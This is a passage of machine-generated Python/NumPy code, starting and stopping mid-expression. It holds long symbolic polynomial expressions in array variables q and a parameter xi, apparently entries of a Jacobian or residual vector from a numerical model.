0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 898984.910836762*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 6320.98765432099*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 30441817.0865359*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 53.3333333333333*q[0, 0] + 26.6666666666667*q[1, 0] + 26.6666666666667*q[2, 0]) + (12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0]))*(-38484469995.8182*(q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 1217672683.46143*(q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 23972930.955647*(q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 252839.506172839*(q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 1066.66666666667*(q[4, 0] - q[5, 0])**2 + 1) + (12828156665.2727*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 405890894.487145*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 7990976.98521566*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 84279.8353909465*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 355.555555555555*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0]))*(-12828156665.2727*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 2004399.47894886*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*(2*q[0, 0] - q[1, 0] - q[2, 0])**2 + 1))*(-160351958.315909*numpy.sqrt(3)*xi**10*(q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**2 + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[6, 0] - q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)) + ((12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0]))*(12828156665.2727*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 405890894.487145*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 7990976.98521566*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 84279.8353909465*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 355.555555555555*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])) + (-12828156665.2727*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 2004399.47894886*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*(2*q[0, 0] - q[1, 0] - q[2, 0])**2 + 1)*(-12828156665.2727*(2*q[3, 0] - q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 2004399.47894886*(2*q[3, 0] - q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 7990976.98521566*(2*q[3, 0] - q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 84279.8353909465*(2*q[3, 0] - q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 355.555555555555*(2*q[3, 0] - q[4, 0] - q[5, 0])**2 + 1) + (-2405279374.73864*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 898984.910836762*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 6320.98765432099*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 30441817.0865359*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 53.3333333333333*q[0, 0] + 26.6666666666667*q[1, 0] + 26.6666666666667*q[2, 0])*(2405279374.73864*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 898984.910836762*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 6320.98765432099*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 30441817.0865359*(8*q[3, 0] - 4*q[4, 0] - 4*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 53.3333333333333*q[3, 0] - 26.6666666666667*q[4, 0] - 26.6666666666667*q[5, 0]))*(-160351958.315909*xi**10*(2*q[6, 0] - q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**4 + 5073636.18108931*xi**8*(2*q[6, 0] - q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**3 - 99887.2123151958*xi**6*(2*q[6, 0] - q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**2 + 1053.49794238683*xi**4*(2*q[6, 0] - q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2) - 4.44444444444444*xi**2*(2*q[6, 0] - q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)) - 160351958.315909*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 5073636.18108931*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 99887.2123151958*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 1053.49794238683*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 4.44444444444444*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45) + (-160351958.315909*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*(-12828156665.2727*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 2004399.47894886*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*(2*q[0, 0] - q[1, 0] - q[2, 0])**2*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*(2*q[0, 0] - q[1, 0] - q[2, 0])**2 + 1) + (12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0]))*(-160351958.315909*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 4.44444444444444*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) + 1053.49794238683*numpy.sqrt(3)*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)) + (-2405279374.73864*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 898984.910836762*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 6320.98765432099*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 30441817.0865359*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 53.3333333333333*q[0, 0] + 26.6666666666667*q[1, 0] + 26.6666666666667*q[2, 0])*(60131984.3684659*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 1522090.85432679*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 22474.6227709191*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 79.0123456790123*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(2*q[3, 0]**2 - 2*q[3, 0]*q[4, 0] - 2*q[3, 0]*q[5, 0] + 2*q[4, 0]**2 - 2*q[4, 0]*q[5, 0] + 2*q[5, 0]**2) + (1/3)*q[3, 0] + (1/3)*q[4, 0] + (1/3)*q[5, 0] + 0.15)], [-160351958.315909*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 4.44444444444444*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45) + ((-4810558749.47727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 121767268.346143*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 1797969.82167352*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 12641.975308642*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 26.6666666666667*numpy.sqrt(3)*(q[1, 0] - q[2, 0]))*(4810558749.47727*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 121767268.346143*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 1797969.82167352*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 12641.975308642*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) + 26.6666666666667*numpy.sqrt(3)*(q[4, 0] - q[5, 0])) + (12828156665.2727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 405890894.487145*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 - 7990976.98521566*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 + 84279.8353909465*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 355.555555555555*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(2*q[0, 0] - q[1, 0] - q[2, 0]))*(12828156665.2727*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 405890894.487145*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 7990976.98521566*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 84279.8353909465*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 355.555555555555*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])) + (-38484469995.8182*(q[1, 0] - q[2, 